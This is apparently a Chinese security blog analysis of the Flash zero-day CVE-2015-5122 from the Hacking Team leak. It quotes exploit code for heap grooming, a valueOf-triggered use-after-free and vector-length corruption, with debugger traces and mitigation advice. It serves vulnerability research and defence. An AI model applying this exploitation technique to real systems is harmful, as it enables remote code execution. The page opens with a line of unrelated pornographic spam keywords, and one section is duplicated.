压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

前幾天我們分析了Hacking Team泄露數(shù)據(jù)中的3個exploit，包括一個flash 0day，一個flash nday和一個windows字體提權(quán)0day。近日Adobe在發(fā)布了最新的flash版本（18.0.0.203），修補了其中的flash 0day（CVE-2015-5119）。然而twitter上面又有研究者爆猛料，稱Hacking Team泄露數(shù)據(jù)中還有一個未修補的flash 0day，在最新的flash版本中仍然可以觸發(fā)。Adobe隨后也發(fā)布了對應(yīng)的安全公告APSA15-04，漏洞的CVE編號為：CVE-2015-5122。影響Windows、MacOSX和Linux平臺上的IE、Chrome瀏覽器等主流瀏覽器。
我們經(jīng)過分析，確認(rèn)這確實又是一個新的flash 0day，漏洞成因是DisplayObject在設(shè)置opaqueBackground屬性時，沒有正確處理可能發(fā)生的回調(diào)（又是valueOf，是在下輸了），而產(chǎn)生的Use After Free漏洞。本文將分析這個漏洞的成因和利用方式。
漏洞原理分析

出問題的函數(shù)是DisplayObject對象的opaqueBackground屬性設(shè)置函數(shù)：

我們來看一下HackingTeam泄露的exploit代碼，關(guān)鍵部分如下：
漏洞原理分析

出問題的函數(shù)是DisplayObject對象的opaqueBackground屬性設(shè)置函數(shù)：

我們來看一下HackingTeam泄露的exploit代碼，關(guān)鍵部分如下：
for(i=_arLen1; i < _arLen2; i++)
_ar[i] = _tb.createTextLine(); // fill 1016-byte holes (0x38c is a size of internal TextLine object)
for(i=_arLen1; i < _arLen2; i++)
_ar[i].opaqueBackground = 1; // alloc 1016 bytes

在這個過程中會每個TextLine Object內(nèi)部會分配0x390大小的對象，對象分配的代碼在：

.text:1025DC71???????????????? push??? 1
.text:1025DC73???????????????? push??? eax
.text:1025DC74???????????????? push??? 390h
.text:1025DC79???????????????? call??? operator_new2

調(diào)試過程中分配的0x390內(nèi)部對象地址：

Allocate 0x390 object:04cbc810
Allocate 0x390 object:0513c810
Allocate 0x390 object:0513cc08
Allocate 0x390 object:05d94020
Allocate 0x390 object:05d94418
Allocate 0x390 object:05d94810
Allocate 0x390 object:05d94c08
Allocate 0x390 object:05d95020
Allocate 0x390 object:05d95418
Allocate 0x390 object:05d95810
Allocate 0x390 object:05d95c08
Allocate 0x390 object:05d96020
Allocate 0x390 object:05d96418
Allocate 0x390 object:05d96810
Allocate 0x390 object:05d96c08
Allocate 0x390 object:05d97020
Allocate 0x390 object:05d97418

2 設(shè)置opaqueBackground，觸發(fā)valueOf函數(shù)調(diào)用：

MyClass.prototype.valueOf = valueOf2;

// here we go, call the vulnerable setter
_cnt = _arLen2-6;
_ar[_cnt].opaqueBackground = _mc;

和之前兩個漏洞一樣，exploit定義了自己的類，設(shè)置valueOf函數(shù)，然后在opaqueBackground的設(shè)置函數(shù)中，我們可以看到有一個將傳入的參數(shù)轉(zhuǎn)換為integer的過程，這個調(diào)用觸發(fā)了MyClass的valueOf函數(shù)：

.text:1025DD4C loc_1025DD4C: CODE XREF: set_opaqueBackground+2Fj
.text:1025DD4C???????????????? push??? ebx
.text:1025DD4D???????????????? push??? [esp+10h+param]
.text:1025DD51???????????????? call??? ?integer@AvmCore@avmplus@@SAHH@Z ; avmplus::AvmCore::integer(int)

3 在valueOf函數(shù)中，釋放TextLine Object，并使用vector占位

static function valueOf2()
{
try
{
if (++_cnt < _arLen2) {
// recursive call for next TextLine
_ar[_cnt].opaqueBackground = _mc;
}else{
Log(“MyClass.valueOf2()”);

// free internal objects
for(var i:int=1; i <= 5; i++)
_tb.recreateTextLine(_ar[_arLen2-i]);

// reuse freed memory
for(i=_arLen2; i < _arLen; i++)
_ar[i].length = _vLen;
}
}
catch (e:Error)
{
Log(“valueOf2 ” + e.toString());
}
return _vLen+8;
}

我們可以看到valueOf函數(shù)通過調(diào)用recreateTextLine釋放了原來的TextLine對象（因此0x390大小的內(nèi)部對象也將被釋放）。然后使用0x190大小的vector對象試圖占用已經(jīng)釋放的0x390大小對象的內(nèi)存。這里之所以選用0x190大小的vector，是因為之后代碼會對已經(jīng)釋放的0x390內(nèi)部對象進(jìn)行一個寫操作，這個寫操作的偏移是0x320，正好是0x190的兩倍，這樣寫的時候可以直接寫到vector的長度字段。這里用了一個技巧：用不同大小的對象去占位時，必須以頁為單位釋放原對象的內(nèi)存，才有可能成功（也就是說這里必須連續(xù)釋放多個0x390大小的內(nèi)部對象，造成至少一個page（0x1000）內(nèi)存被釋放，然后才能用0x190的vector去占它）。

4 從valueOf返回，已經(jīng)釋放的0x390內(nèi)部對象被寫入

eax=00000000 ebx=0000006a ecx=05d92708 edx=00000006 esi=05d97020 edi=0515dd78
eip=631bdd7e esp=0300bfec ebp=05d92708 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
Flash32_18_0_0_203!DllUnregisterServer+0x7489c:
631bdd7e 889e20030000 mov byte ptr [esi+320h],bl ds:0023:05d97340=62
0:006> dd esi
05d97020 00000062
04cb3000 00000037 00000000

Esi指向已經(jīng)被釋放的0x390大小對象（0x5d97020），可以參考前面分配時記錄的對象地址，很容易看出這是其中一個0x390對象。寫入的是esi+0x320處，可以看到已經(jīng)被vector占用，并且指向某個vector的長度字段（0x62）。 寫操作完成后，vector長度被篡改為0x6a:

0:006> p
0:006> dd esi+320 L4
05d97340? 0000006a 04cb3000 00000039 00000000

之后exploit再利用這個稍微變長了一點點的vector，修改緊鄰的下一個vector的長度為0x40000000：

0:006> dd 5D974D0L4
05d974d0? 40000000 04fc3000 0000003a 00000000
漏洞防范

由于該漏洞利用非常穩(wěn)定，而Adobe暫時沒有發(fā)布該漏洞的補丁，我們建議補丁發(fā)布之前，可以暫時先禁用flash插件。